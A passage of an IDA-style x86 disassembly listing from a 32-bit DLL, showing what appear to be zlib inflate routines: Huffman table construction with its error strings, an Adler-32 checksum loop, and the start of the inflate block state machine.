		add	[ebp+var_28], 4


loc_10004A84:				; CODE XREF: sub_10004654+3E6j
					; sub_10004654+40Dj
		mov	ecx, [ebp+var_20]
		sub	ecx, [ebp+var_38]
		mov	edx, 1
		shl	edx, cl
		mov	ecx, [ebp+var_38]
		mov	eax, [ebp+var_1C]
		shr	eax, cl
		cmp	esi, eax
		jbe	short loc_10004AB3


loc_10004A9D:				; CODE XREF: sub_10004654+45Dj
		mov	ecx, [ebp+var_2C]
		mov	ebx, [ebp+var_34]
		mov	[ecx+eax*8], ebx
		mov	ebx, [ebp+var_30]
		mov	[ecx+eax*8+4], ebx
		add	eax, edx
		cmp	esi, eax
		ja	short loc_10004A9D


loc_10004AB3:				; CODE XREF: sub_10004654+447j
		mov	ecx, [ebp+var_20]
		dec	ecx
		mov	eax, 1
		shl	eax, cl
		jmp	short loc_10004AC5
; ---------------------------------------------------------------------------


loc_10004AC0:				; CODE XREF: sub_10004654+474j
		xor	[ebp+var_1C], eax
		shr	eax, 1


loc_10004AC5:				; CODE XREF: sub_10004654+46Aj
		test	[ebp+var_1C], eax
		jnz	short loc_10004AC0
		xor	[ebp+var_1C], eax
		mov	eax, 1
		mov	ecx, [ebp+var_38]
		mov	edx, [ebp+var_18]
		shl	eax, cl
		lea	edx, [ebp+edx*4+var_108]
		dec	eax
		mov	[ebp+var_4C], edx
		jmp	short loc_10004AFF
; ---------------------------------------------------------------------------


loc_10004AE7:				; CODE XREF: sub_10004654+4B3j
		dec	[ebp+var_18]
		add	[ebp+var_4C], 0FFFFFFFCh
		mov	eax, [ebp+var_24]
		sub	[ebp+var_38], eax
		mov	ecx, [ebp+var_38]
		mov	eax, 1
		shl	eax, cl
		dec	eax


loc_10004AFF:				; CODE XREF: sub_10004654+491j
		and	eax, [ebp+var_1C]
		mov	edx, [ebp+var_4C]
		cmp	eax, [edx]
		jnz	short loc_10004AE7


loc_10004B09:				; CODE XREF: sub_10004654+2ACj
		mov	ecx, [ebp+var_10]
		add	[ebp+var_10], 0FFFFFFFFh
		test	ecx, ecx
		jnz	loc_10004905
		inc	[ebp+var_20]
		add	[ebp+var_44], 4
		mov	eax, [ebp+var_20]
		cmp	eax, [ebp+var_14]
		jle	loc_100048F8


loc_10004B2B:				; CODE XREF: sub_10004654+29Ej
		cmp	[ebp+var_3C], 0
		mov	eax, 0FFFFFFFBh
		jz	short loc_10004B3C
		cmp	[ebp+var_14], 1
		jnz	short loc_10004B3F


loc_10004B3C:				; CODE XREF: sub_10004654+4E0j
		add	eax, 5


loc_10004B3F:				; CODE XREF: sub_10004654+105j
					; sub_10004654+1AAj ...
		pop	esi
		pop	ebx
		mov	esp, ebp
		pop	ebp
		retn	1Ch
sub_10004654	endp

; ---------------------------------------------------------------------------
		align 4

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_10004B48	proc near		; CODE XREF: sub_10004F78+715p

var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch

		push	ebp
		mov	ebp, esp
		add	esp, 0FFFFFFF0h
		push	ebx
		push	esi
		mov	[ebp+var_8], ecx
		mov	[ebp+var_4], edx
		mov	esi, eax
		mov	ebx, [ebp+arg_0]
		xor	eax, eax
		mov	[ebp+var_C], eax
		mov	ecx, 4
		mov	edx, 13h
		mov	eax, [ebx+28h]
		call	dword ptr [ebx+20h]
		mov	[ebp+var_10], eax
		test	eax, eax
		jnz	short loc_10004B7E
		mov	eax, 0FFFFFFFCh
		jmp	short loc_10004BDB
; ---------------------------------------------------------------------------


loc_10004B7E:				; CODE XREF: sub_10004B48+2Dj
		push	0
		push	0
		mov	edx, [ebp+var_8]
		push	edx
		lea	edx, [ebp+var_C]
		mov	ecx, [ebp+var_4]
		push	ecx
		mov	eax, [ebp+arg_4]
		push	eax
		push	edx
		mov	ecx, [ebp+var_10]
		mov	edx, 13h
		push	ecx
		mov	ecx, 13h
		mov	eax, esi
		call	sub_10004654
		mov	esi, eax
		cmp	esi, 0FFFFFFFDh
		jnz	short loc_10004BB7
		mov	dword ptr [ebx+18h], offset aOversubscribed ; "oversubscribed dynamic bit lengths tree"...
		jmp	short loc_10004BD0
; ---------------------------------------------------------------------------


loc_10004BB7:				; CODE XREF: sub_10004B48+64j
		cmp	esi, 0FFFFFFFBh
		jz	short loc_10004BC4
		mov	eax, [ebp+var_4]
		cmp	dword ptr [eax], 0
		jnz	short loc_10004BD0


loc_10004BC4:				; CODE XREF: sub_10004B48+72j
		mov	dword ptr [ebx+18h], offset aIncompleteDyna ; "incomplete dynamic bit lengths tree"
		mov	esi, 0FFFFFFFDh


loc_10004BD0:				; CODE XREF: sub_10004B48+6Dj
					; sub_10004B48+7Aj
		mov	edx, [ebp+var_10]
		mov	eax, [ebx+28h]
		call	dword ptr [ebx+24h]
		mov	eax, esi


loc_10004BDB:				; CODE XREF: sub_10004B48+34j
		pop	esi
		pop	ebx
		mov	esp, ebp
		pop	ebp
		retn	8
sub_10004B48	endp

; ---------------------------------------------------------------------------
		align 4

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_10004BE4	proc near		; CODE XREF: sub_10004F78+A20p

var_14		= dword	ptr -14h
var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h
arg_C		= dword	ptr  14h
arg_10		= dword	ptr  18h
arg_14		= dword	ptr  1Ch

		push	ebp
		mov	ebp, esp
		add	esp, 0FFFFFFECh
		push	ebx
		push	esi
		mov	[ebp+var_C], ecx
		mov	[ebp+var_8], edx
		mov	[ebp+var_4], eax
		mov	esi, [ebp+arg_0]
		xor	eax, eax
		mov	[ebp+var_10], eax
		mov	ecx, 4
		mov	edx, 120h
		mov	eax, [esi+28h]
		call	dword ptr [esi+20h]
		mov	[ebp+var_14], eax
		test	eax, eax
		jnz	short loc_10004C1E
		mov	eax, 0FFFFFFFCh
		jmp	loc_10004D1B
; ---------------------------------------------------------------------------


loc_10004C1E:				; CODE XREF: sub_10004BE4+2Ej
		push	offset dword_10008518
		push	offset dword_10008594
		mov	edx, [ebp+arg_C]
		push	edx
		lea	edx, [ebp+var_10]
		mov	ecx, [ebp+arg_14]
		push	ecx
		mov	eax, [ebp+arg_4]
		push	eax
		push	edx
		mov	ecx, [ebp+var_14]
		push	ecx
		mov	ecx, 101h
		mov	edx, [ebp+var_4]
		mov	eax, [ebp+var_C]
		call	sub_10004654
		mov	ebx, eax
		test	ebx, ebx
		jnz	short loc_10004C5A
		mov	eax, [ebp+arg_14]
		cmp	dword ptr [eax], 0
		jnz	short loc_10004C89


loc_10004C5A:				; CODE XREF: sub_10004BE4+6Cj
		cmp	ebx, 0FFFFFFFDh
		jnz	short loc_10004C68
		mov	dword ptr [esi+18h], offset aOversubscrib_0 ; "oversubscribed literal/length tree"
		jmp	short loc_10004C79
; ---------------------------------------------------------------------------


loc_10004C68:				; CODE XREF: sub_10004BE4+79j
		cmp	ebx, 0FFFFFFFCh
		jz	short loc_10004C79
		mov	dword ptr [esi+18h], offset aIncompleteLite ; "incomplete literal/length tree"
		mov	ebx, 0FFFFFFFDh


loc_10004C79:				; CODE XREF: sub_10004BE4+82j
					; sub_10004BE4+87j
		mov	edx, [ebp+var_14]
		mov	eax, [esi+28h]
		call	dword ptr [esi+24h]
		mov	eax, ebx
		jmp	loc_10004D1B
; ---------------------------------------------------------------------------


loc_10004C89:				; CODE XREF: sub_10004BE4+74j
		push	offset dword_10008610
		push	offset dword_10008688
		mov	edx, [ebp+arg_8]
		push	edx
		lea	edx, [ebp+var_10]
		mov	ecx, [ebp+arg_10]
		push	ecx
		mov	eax, [ebp+arg_4]
		push	eax
		push	edx
		mov	ecx, [ebp+var_14]
		push	ecx
		mov	eax, [ebp+var_4]
		mov	edx, [ebp+var_8]
		shl	eax, 2
		add	eax, [ebp+var_C]
		xor	ecx, ecx
		call	sub_10004654
		mov	ebx, eax
		test	ebx, ebx
		jnz	short loc_10004CD1
		mov	eax, [ebp+arg_10]
		cmp	dword ptr [eax], 0
		jnz	short loc_10004D10
		cmp	[ebp+var_4], 101h
		jbe	short loc_10004D10


loc_10004CD1:				; CODE XREF: sub_10004BE4+DAj
		cmp	ebx, 0FFFFFFFDh
		jnz	short loc_10004CDF
		mov	dword ptr [esi+18h], offset aOversubscrib_1 ; "oversubscribed distance tree"
		jmp	short loc_10004D03
; ---------------------------------------------------------------------------


loc_10004CDF:				; CODE XREF: sub_10004BE4+F0j
		cmp	ebx, 0FFFFFFFBh
		jnz	short loc_10004CF2
		mov	dword ptr [esi+18h], offset aIncompleteDist ; "incomplete distance tree"
		mov	ebx, 0FFFFFFFDh
		jmp	short loc_10004D03
; ---------------------------------------------------------------------------


loc_10004CF2:				; CODE XREF: sub_10004BE4+FEj
		cmp	ebx, 0FFFFFFFCh
		jz	short loc_10004D03
		mov	dword ptr [esi+18h], offset aEmptyDistanceT ; "empty distance tree with	lengths"
		mov	ebx, 0FFFFFFFDh


loc_10004D03:				; CODE XREF: sub_10004BE4+F9j
					; sub_10004BE4+10Cj ...
		mov	edx, [ebp+var_14]
		mov	eax, [esi+28h]
		call	dword ptr [esi+24h]
		mov	eax, ebx
		jmp	short loc_10004D1B
; ---------------------------------------------------------------------------


loc_10004D10:				; CODE XREF: sub_10004BE4+E2j
					; sub_10004BE4+EBj
		mov	edx, [ebp+var_14]
		mov	eax, [esi+28h]
		call	dword ptr [esi+24h]
		xor	eax, eax


loc_10004D1B:				; CODE XREF: sub_10004BE4+35j
					; sub_10004BE4+A0j ...
		pop	esi
		pop	ebx
		mov	esp, ebp
		pop	ebp
		retn	18h
sub_10004BE4	endp

; ---------------------------------------------------------------------------
		align 4

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_10004D24	proc near		; CODE XREF: sub_10004F78+15Cp

arg_4		= dword	ptr  0Ch

		push	ebp
		mov	ebp, esp
		push	ebx
		mov	ebx, ds:dword_10008700
		mov	[eax], ebx
		mov	eax, ds:dword_10008704
		mov	[edx], eax
		mov	dword ptr [ecx], offset	dword_10008708
		mov	edx, [ebp+arg_4]
		xor	eax, eax
		mov	dword ptr [edx], offset	dword_10009708
		pop	ebx
		pop	ebp
		retn	8
sub_10004D24	endp

; ---------------------------------------------------------------------------
		align 10h

; =============== S U B	R O U T	I N E =======================================



sub_10004D50	proc near		; CODE XREF: CODE:10004522p
					; DATA XREF: sub_1000400C:loc_100040E3o
		push	ebx
		push	esi
		push	edi
		mov	edi, eax
		shr	edi, 10h
		mov	ebx, eax
		and	ebx, 0FFFFh
		and	edi, 0FFFFh
		push	ebp
		mov	esi, edx
		test	esi, esi
		mov	ebp, ecx
		jnz	short loc_10004D79
		mov	eax, 1
		jmp	loc_10004E74
; ---------------------------------------------------------------------------


loc_10004D79:				; CODE XREF: sub_10004D50+1Dj
		test	ebp, ebp
		jbe	loc_10004E6D


loc_10004D81:				; CODE XREF: sub_10004D50+117j
		cmp	ebp, 15B0h
		jnb	short loc_10004D8D
		mov	eax, ebp
		jmp	short loc_10004D92
; ---------------------------------------------------------------------------


loc_10004D8D:				; CODE XREF: sub_10004D50+37j
		mov	eax, 15B0h


loc_10004D92:				; CODE XREF: sub_10004D50+3Bj
		sub	ebp, eax
		cmp	eax, 10h
		jl	loc_10004E3B


loc_10004D9D:				; CODE XREF: sub_10004D50+E5j
		xor	edx, edx
		xor	ecx, ecx
		mov	dl, [esi]
		mov	cl, [esi+1]
		add	ebx, edx
		xor	edx, edx
		add	edi, ebx
		add	ebx, ecx
		mov	dl, [esi+2]
		add	edi, ebx
		add	ebx, edx
		xor	ecx, ecx
		mov	cl, [esi+3]
		add	edi, ebx
		add	ebx, ecx
		xor	edx, edx
		mov	dl, [esi+4]
		add	edi, ebx
		add	ebx, edx
		xor	ecx, ecx
		mov	cl, [esi+5]
		add	edi, ebx
		add	ebx, ecx
		xor	edx, edx
		mov	dl, [esi+6]
		add	edi, ebx
		add	ebx, edx
		xor	ecx, ecx
		mov	cl, [esi+7]
		add	edi, ebx
		add	ebx, ecx
		xor	edx, edx
		mov	dl, [esi+8]
		add	edi, ebx
		add	ebx, edx
		xor	ecx, ecx
		mov	cl, [esi+9]
		add	edi, ebx
		add	ebx, ecx
		xor	edx, edx
		mov	dl, [esi+0Ah]
		add	edi, ebx
		add	ebx, edx
		xor	ecx, ecx
		mov	cl, [esi+0Bh]
		add	edi, ebx
		add	ebx, ecx
		xor	edx, edx
		mov	dl, [esi+0Ch]
		add	edi, ebx
		add	ebx, edx
		xor	ecx, ecx
		mov	cl, [esi+0Dh]
		add	edi, ebx
		add	ebx, ecx
		xor	edx, edx
		mov	dl, [esi+0Eh]
		add	edi, ebx
		add	ebx, edx
		xor	ecx, ecx
		mov	cl, [esi+0Fh]
		add	edi, ebx
		add	ebx, ecx
		add	esi, 10h
		add	edi, ebx
		sub	eax, 10h
		cmp	eax, 10h
		jge	loc_10004D9D


loc_10004E3B:				; CODE XREF: sub_10004D50+47j
		test	eax, eax
		jz	short loc_10004E4B


loc_10004E3F:				; CODE XREF: sub_10004D50+F9j
		xor	edx, edx
		mov	dl, [esi]
		add	ebx, edx
		inc	esi
		add	edi, ebx
		dec	eax
		jnz	short loc_10004E3F


loc_10004E4B:				; CODE XREF: sub_10004D50+EDj
		mov	ecx, 0FFF1h
		mov	eax, ebx
		xor	edx, edx
		div	ecx
		mov	ebx, edx
		mov	ecx, 0FFF1h
		mov	eax, edi
		xor	edx, edx
		div	ecx
		mov	edi, edx
		test	ebp, ebp
		ja	loc_10004D81


loc_10004E6D:				; CODE XREF: sub_10004D50+2Bj
		mov	eax, edi
		shl	eax, 10h
		or	eax, ebx


loc_10004E74:				; CODE XREF: sub_10004D50+24j
		pop	ebp
		pop	edi
		pop	esi
		pop	ebx
		retn
sub_10004D50	endp

; ---------------------------------------------------------------------------
		align 4

; =============== S U B	R O U T	I N E =======================================



sub_10004E7C	proc near		; CODE XREF: sub_10003F84+3Dp
					; sub_10004128+2B0p ...
		push	ebx
		push	esi
		mov	esi, edx
		mov	ebx, eax
		test	ecx, ecx
		jz	short loc_10004E8B
		mov	eax, [ebx+3Ch]
		mov	[ecx], eax


loc_10004E8B:				; CODE XREF: sub_10004E7C+8j
		mov	eax, [ebx]
		cmp	eax, 4
		jz	short loc_10004E97
		cmp	eax, 5
		jnz	short loc_10004EA0


loc_10004E97:				; CODE XREF: sub_10004E7C+14j
		mov	edx, [ebx+0Ch]
		mov	eax, [esi+28h]
		call	dword ptr [esi+24h]


loc_10004EA0:				; CODE XREF: sub_10004E7C+19j
		cmp	dword ptr [ebx], 6
		jnz	short loc_10004EAF
		mov	edx, esi
		mov	eax, [ebx+4]
		call	sub_100065A0


loc_10004EAF:				; CODE XREF: sub_10004E7C+27j
		xor	edx, edx
		xor	ecx, ecx
		mov	[ebx], edx
		xor	eax, eax
		mov	[ebx+1Ch], ecx
		mov	[ebx+20h], eax
		mov	edx, [ebx+28h]
		mov	[ebx+34h], edx
		mov	[ebx+30h], edx
		cmp	dword ptr [ebx+38h], 0
		jz	short loc_10004EDB
		xor	ecx, ecx
		xor	edx, edx
		xor	eax, eax
		call	dword ptr [ebx+38h]
		mov	[ebx+3Ch], eax
		mov	[esi+30h], eax


loc_10004EDB:				; CODE XREF: sub_10004E7C+4Ej
		pop	esi
		pop	ebx
		retn
sub_10004E7C	endp

; ---------------------------------------------------------------------------
		align 10h

; =============== S U B	R O U T	I N E =======================================



sub_10004EE0	proc near		; CODE XREF: sub_1000400C+DEp

var_10		= dword	ptr -10h

		push	ebx
		push	esi
		push	edi
		mov	esi, eax
		push	ecx
		mov	[esp+10h+var_10], edx
		mov	edi, ecx
		mov	ecx, 40h
		mov	edx, 1
		mov	eax, [esi+28h]
		call	dword ptr [esi+20h]
		mov	ebx, eax
		test	eax, eax
		jnz	short loc_10004F05
		mov	eax, ebx
		jmp	short loc_10004F70
; ---------------------------------------------------------------------------


loc_10004F05:				; CODE XREF: sub_10004EE0+1Fj
		mov	ecx, 5A0h
		mov	edx, 8
		mov	eax, [esi+28h]
		call	dword ptr [esi+20h]
		mov	[ebx+24h], eax
		test	eax, eax
		jnz	short loc_10004F28
		mov	edx, ebx
		mov	eax, [esi+28h]
		call	dword ptr [esi+24h]
		xor	eax, eax
		jmp	short loc_10004F70
; ---------------------------------------------------------------------------


loc_10004F28:				; CODE XREF: sub_10004EE0+3Aj
		mov	ecx, edi
		mov	edx, 1
		mov	eax, [esi+28h]
		call	dword ptr [esi+20h]
		mov	[ebx+28h], eax
		test	eax, eax
		jnz	short loc_10004F51
		mov	edx, [ebx+24h]
		mov	eax, [esi+28h]
		call	dword ptr [esi+24h]
		mov	edx, ebx
		mov	eax, [esi+28h]
		call	dword ptr [esi+24h]
		xor	eax, eax
		jmp	short loc_10004F70
; ---------------------------------------------------------------------------


loc_10004F51:				; CODE XREF: sub_10004EE0+5Aj
		mov	edx, [ebx+28h]
		xor	eax, eax
		add	edx, edi
		mov	[ebx+2Ch], edx
		mov	edx, esi
		mov	ecx, [esp+10h+var_10]
		mov	[ebx+38h], ecx
		mov	[ebx], eax
		mov	eax, ebx
		xor	ecx, ecx
		call	sub_10004E7C
		mov	eax, ebx


loc_10004F70:				; CODE XREF: sub_10004EE0+23j
					; sub_10004EE0+46j ...
		pop	edx
		pop	edi
		pop	esi
		pop	ebx
		retn
sub_10004EE0	endp

; ---------------------------------------------------------------------------
		align 4

; =============== S U B	R O U T	I N E =======================================



sub_10004F78	proc near		; CODE XREF: sub_10004128+270p

var_4C		= dword	ptr -4Ch
var_48		= dword	ptr -48h
var_44		= dword	ptr -44h
var_40		= dword	ptr -40h
var_3C		= dword	ptr -3Ch
var_38		= dword	ptr -38h
var_34		= dword	ptr -34h
var_30		= dword	ptr -30h
var_2C		= dword	ptr -2Ch
var_28		= dword	ptr -28h
var_24		= dword	ptr -24h
var_20		= dword	ptr -20h
var_1C		= dword	ptr -1Ch
var_18		= dword	ptr -18h
var_14		= dword	ptr -14h

		push	ebx
		push	esi
		push	edi
		push	ebp
		add	esp, 0FFFFFFC4h
		mov	esi, edx
		mov	ebx, eax
		mov	[esp+4Ch+var_4C], ecx
		mov	eax, [esi]
		mov	[esp+4Ch+var_40], eax
		mov	edx, [esi+4]
		mov	[esp+4Ch+var_3C], edx
		mov	ecx, [ebx+20h]
		mov	[esp+4Ch+var_44], ecx
		mov	edi, [ebx+1Ch]
		mov	eax, [ebx+34h]
		mov	[esp+4Ch+var_38], eax
		mov	edx, [esp+4Ch+var_38]
		cmp	edx, [ebx+30h]
		jnb	short loc_10004FB7
		mov	ebp, [ebx+30h]
		sub	ebp, [esp+4Ch+var_38]
		dec	ebp
		jmp	short loc_10004FBE
; ---------------------------------------------------------------------------


loc_10004FB7:				; CODE XREF: sub_10004F78+33j
		mov	ebp, [ebx+2Ch]
		sub	ebp, [esp+4Ch+var_38]


loc_10004FBE:				; CODE XREF: sub_10004F78+3Dj
					; sub_10004F78+11Dj ...
		mov	eax, [ebx]
		cmp	eax, 9		; switch 10 cases
		ja	loc_10005BFD	; default
		jmp	off_10004FD0[eax*4] ; switch jump
; ---------------------------------------------------------------------------
off_10004FD0	dd offset loc_10004FF8	; DATA XREF: sub_10004F78+51r
		dd offset loc_100051B2	; jump table for switch	statement
		dd offset loc_100052B4
		dd offset loc_10005453
		dd offset loc_10005649
		dd offset loc_10005920
		dd offset loc_10005A62
		dd offset loc_10005B08
		dd offset loc_10005B85
		dd offset loc_10005BC1
; ---------------------------------------------------------------------------


loc_10004FF8:				; CODE XREF: sub_10004F78+51j
					; DATA XREF: sub_10004F78:off_10004FD0o
		cmp	edi, 3		; jumptable 10004FC9 case 0
		jnb	short loc_10005065


loc_10004FFD:				; CODE XREF: sub_10004F78+EBj
		cmp	[esp+4Ch+var_3C], 0
		jz	short loc_1000500B
		xor	edx, edx
		mov	[esp+4Ch+var_4C], edx
		jmp	short loc_10005043
; ---------------------------------------------------------------------------


loc_1000500B:				; CODE XREF: sub_10004F78+8Aj
		mov	ecx, [esp+4Ch+var_44]
		mov	[ebx+20h], ecx
		mov	[ebx+1Ch], edi
		mov	eax, [esp+4Ch+var_3C]
		mov	[esi+4], eax
		mov	edx, [esp+4Ch+var_40]
		sub	edx, [esi]
		add	[esi+8], edx
		mov	edx, esi
		mov	ecx, [esp+4Ch+var_40]
		mov	[esi], ecx
		mov	eax, [esp+4Ch+var_38]
		mov	[ebx+34h], eax
		mov	eax, ebx
		mov	ecx, [esp+4Ch+var_4C]
		call	sub_100065AC
		jmp	loc_10005C37
; ---------------------------------------------------------------------------


loc_10005043:				; CODE XREF: sub_10004F78+91j
		mov	ecx, edi
		dec	[esp+4Ch+var_3C]
		mov	edx, [esp+4Ch+var_40]
		mov	al, [edx]
		xor	edx, edx
		mov	dl, al
		shl	edx, cl
		or	[esp+4Ch+var_44], edx
		inc	[esp+4Ch+var_40]
		add	edi, 8
		cmp	edi, 3
		jb	short loc_10004FFD


loc_10005065:				; CODE XREF: sub_10004F78+83j
		mov	ecx, [esp+4Ch+var_44]
		and	ecx, 7
		mov	[esp+4Ch+var_48], ecx
		mov	eax, [esp+4Ch+var_48]
		and	eax, 1
		mov	[ebx+18h], eax
		mov	edx, [esp+4Ch+var_48]
		shr	edx, 1
		sub	edx, 1
		jb	short loc_1000509A
		jz	short loc_100050C2
		dec	edx
		jz	loc_1000514B
		dec	edx
		jz	loc_1000515E
		jmp	loc_10004FBE
; ---------------------------------------------------------------------------


loc_1000509A:				; CODE XREF: sub_10004F78+10Bj
		shr	[esp+4Ch+var_44], 3
		sub	edi, 3
		mov	ecx, edi
		and	ecx, 7
		mov	[esp+4Ch+var_48], ecx
		mov	ecx, [esp+4Ch+var_48]
		shr	[esp+4Ch+var_44], cl
		sub	edi, [esp+4Ch+var_48]
		mov	dword ptr [ebx], 1
		jmp	loc_10004FBE
; ---------------------------------------------------------------------------


loc_100050C2:				; CODE XREF: sub_10004F78+10Dj
		lea	eax, [esp+4Ch+var_28]
		push	eax
		push	esi
		lea	ecx, [esp+54h+var_2C]
		lea	edx, [esp+54h+var_30]
		lea	eax, [esp+54h+var_34]
		call	sub_10004D24
		mov	eax, [esp+4Ch+var_28]
		push	eax
		push	esi
		mov	ecx, [esp+54h+var_2C]
		mov	edx, [esp+54h+var_30]
		mov	eax, [esp+54h+var_34]
		call	sub_10005CA0
		mov	[ebx+4], eax
		cmp	dword ptr [ebx+4], 0
		jnz	short loc_10005138
		mov	[esp+4Ch+var_4C], 0FFFFFFFCh
		mov	edx, [esp+4Ch+var_44]
		mov	[ebx+20h], edx
		mov	[ebx+1Ch], edi
		mov	ecx, [esp+4Ch+var_3C]
		mov	[esi+4], ecx
		mov	eax, [esp+4Ch+var_40]
		sub	eax, [esi]
		add	[esi+8], eax
		mov	eax, ebx
		mov	edx, [esp+4Ch+var_40]
		mov	[esi], edx
		mov	edx, esi
		mov	ecx, [esp+4Ch+var_38]
		mov	[ebx+34h], ecx
		mov	ecx, [esp+4Ch+var_4C]
		call	sub_100065AC
		jmp	loc_10005C37
; ---------------------------------------------------------------------------


loc_10005138:				; CODE XREF: sub_10004F78+17Fj
		shr	[esp+4Ch+var_44], 3
		sub	edi, 3
		mov	dword ptr [ebx], 6
		jmp	loc_10004FBE
; ---------------------------------------------------------------------------


loc_1000514B:				; CODE XREF: sub_10004F78+110j
		shr	[esp+4Ch+var_44], 3
		sub	edi, 3
		mov	dword ptr [ebx], 3
		jmp	loc_10004FBE
; ---------------------------------------------------------------------------


loc_1000515E:				; CODE XREF: sub_10004F78+117j
		shr	[esp+4Ch+var_44], 3
		mov	dword ptr [ebx], 9
		sub	edi, 3
		mov	dword ptr [esi+18h], offset aInvalidBlockTy ; "invalid block type"
		mov	[esp+4Ch+var_4C], 0FFFFFFFDh
		mov	eax, [esp+4Ch+var_44]
		mov	[ebx+20h], eax
		mov	[ebx+1Ch], edi
		mov	edx, [esp+4Ch+var_3C]
		mov	[esi+4], edx
		mov	ecx, [esp+4Ch+var_40]
		sub	ecx, [esi]
		add	[esi+8], ecx
		mov	eax, [esp+4Ch+var_40]
		mov	[esi], eax
		mov	eax, ebx
		mov	edx, [esp+4Ch+var_38]
		mov	[ebx+34h], edx
		mov	edx, esi
		mov	ecx, [esp+4Ch+var_4C]
		call	sub_100065AC
		jmp	loc_10005C37
; ---------------------------------------------------------------------------


loc_100051B2:				; CODE XREF: sub_10004F78+51j
					; DATA XREF: sub_10004F78:off_10004FD0o
		cmp	edi, 20h	; jumptable 10004FC9 case 1
		jnb	short loc_1000521F


loc_100051B7:				; CODE XREF: sub_10004F78+2A5j
		cmp	[esp+4Ch+var_3C], 0
		jz	short loc_100051C5
		xor	ecx, ecx
		mov	[esp+4Ch+var_4C], ecx
		jmp	short loc_100051FD
; ---------------------------------------------------------------------------


loc_100051C5:				; CODE XREF: sub_10004F78+244j
		mov	eax, [esp+4Ch+var_44]
		mov	[ebx+20h], eax
		mov	[ebx+1Ch], edi
		mov	edx, [esp+4Ch+var_3C]
		mov	[esi+4], edx
		mov	ecx, [esp+4Ch+var_40]
		sub	ecx, [esi]
		add	[esi+8], ecx
		mov	eax, [esp+4Ch+var_40]
		mov	[esi], eax
		mov	eax, ebx
		mov	edx, [esp+4Ch+var_38]
		mov	[ebx+34h], edx
		mov	edx, esi
		mov	ecx, [esp+4Ch+var_4C]
		call	sub_100065AC
		jmp	loc_10005C37
; ---------------------------------------------------------------------------


loc_100051FD:				; CODE XREF: sub_10004F78+24Bj
		mov	ecx, edi
		dec	[esp+4Ch+var_3C]
		mov	eax, [esp+4Ch+var_40]
		mov	dl, [eax]
		xor	eax, eax
		mov	al, dl
		shl	eax, cl
		or	[esp+4Ch+var_44], eax
		inc	[esp+4Ch+var_40]
		add	edi, 8
		cmp	edi, 20h
		jb	short loc_100051B7


loc_1000521F:				; CODE XREF: sub_10004F78+23Dj
		mov	edx, [esp+4Ch+var_44]
		mov	eax, [esp+4Ch+var_44]
		not	edx
		shr	edx, 10h
		and	eax, 0FFFFh
		and	edx, 0FFFFh
		cmp	eax, edx
		jz	short loc_10005287
		mov	dword ptr [ebx], 9
		mov	dword ptr [esi+18h], offset aInvalidStoredB ; "invalid stored block lengths"
		mov	[esp+4Ch+var_4C], 0FFFFFFFDh
		mov	ecx, [esp+4Ch+var_44]
		mov	[ebx+20h], ecx
		mov	[ebx+1Ch], edi
		mov	eax, [esp+4Ch+var_3C]
		mov	[esi+4], eax
		mov	edx, [esp+4Ch+var_40]
		sub	edx, [esi]
		add	[esi+8], edx
		mov	edx, esi
		mov	ecx, [esp+4Ch+var_40]
		mov	[esi], ecx
		mov	eax, [esp+4Ch+var_38]
		mov	[ebx+34h], eax
		mov	eax, ebx
		mov	ecx, [esp+4Ch+var_4C]
		call	sub_100065AC
		jmp	loc_10005C37
; ---------------------------------------------------------------------------


loc_10005287:				; CODE XREF: sub_10004F78+2C1j
		mov	edx, eax
		mov	[ebx+4], edx
		xor	ecx, ecx
		mov	edi, ecx
		mov	[esp+4Ch+var_44], ecx
		test	edx, edx
		jz	short loc_1000529F
		mov	eax, 2
		jmp	short loc_100052AD
; ---------------------------------------------------------------------------


loc_1000529F:				; CODE XREF: sub_10004F78+31Ej
		cmp	dword ptr [ebx+18h], 0
		mov	eax, 7
		jnz	short loc_100052AD
		add	eax, 0FFFFFFF9h


loc_100052AD:				; CODE XREF: sub_10004F78+325j
					; sub_10004F78+330j
		mov	[ebx], eax
		jmp	loc_10004FBE
; ---------------------------------------------------------------------------


loc_100052B4:				; CODE XREF: sub_10004F78+51j
					; DATA XREF: sub_10004F78:off_10004FD0o
		cmp	[esp+4Ch+var_3C], 0 ; jumptable	10004FC9 case 2
		jnz	short loc_100052F3
		mov	edx, [esp+4Ch+var_44]
		mov	[ebx+20h], edx
		mov	[ebx+1Ch], edi
		mov	ecx, [esp+4Ch+var_3C]
		mov	[esi+4], ecx
		mov	eax, [esp+4Ch+var_40]
		sub	eax, [esi]
		add	[esi+8], eax
		mov	eax, ebx
		mov	edx, [esp+4Ch+var_40]
		mov	[esi], edx
		mov	edx, esi
		mov	ecx, [esp+4Ch+var_38]
		mov	[ebx+34h], ecx
		mov	ecx, [esp+4Ch+var_4C]
		call	sub_100065AC
		jmp	loc_10005C37
; ---------------------------------------------------------------------------


loc_100052F3:				; CODE XREF: sub_10004F78+341j
		test	ebp, ebp
		jnz	loc_100053DA
		mov	eax, [esp+4Ch+var_38]
		cmp	eax, [ebx+2Ch]
		jnz	short loc_1000532D
		mov	edx, [ebx+30h]
		cmp	edx, [ebx+28h]
		jz	short loc_1000532D
		mov	ecx, [ebx+28h]
		mov	[esp+4Ch+var_38], ecx
		mov	eax, [esp+4Ch+var_38]
		cmp	eax, [ebx+30h]
		jnb	short loc_10005326
		mov	ebp, [ebx+30h]
		sub	ebp, [esp+4Ch+var_38]
		dec	ebp
		jmp	short loc_1000532D
; ---------------------------------------------------------------------------


loc_10005326:				; CODE XREF: sub_10004F78+3A2j
		mov	ebp, [ebx+2Ch]
		sub	ebp, [esp+4Ch+var_38]


loc_1000532D:				; CODE XREF: sub_10004F78+38Aj
					; sub_10004F78+392j ...
		test	ebp, ebp
		jnz	loc_100053DA
		mov	eax, [esp+4Ch+var_38]
		mov	edx, esi
		mov	[ebx+34h], eax
		mov	eax, ebx
		mov	ecx, [esp+4Ch+var_4C]
		call	sub_100065AC
		mov	[esp+4Ch+var_4C], eax
		mov	edx, [ebx+34h]
		mov	[esp+4Ch+var_38], edx
		mov	ecx, [esp+4Ch+var_38]
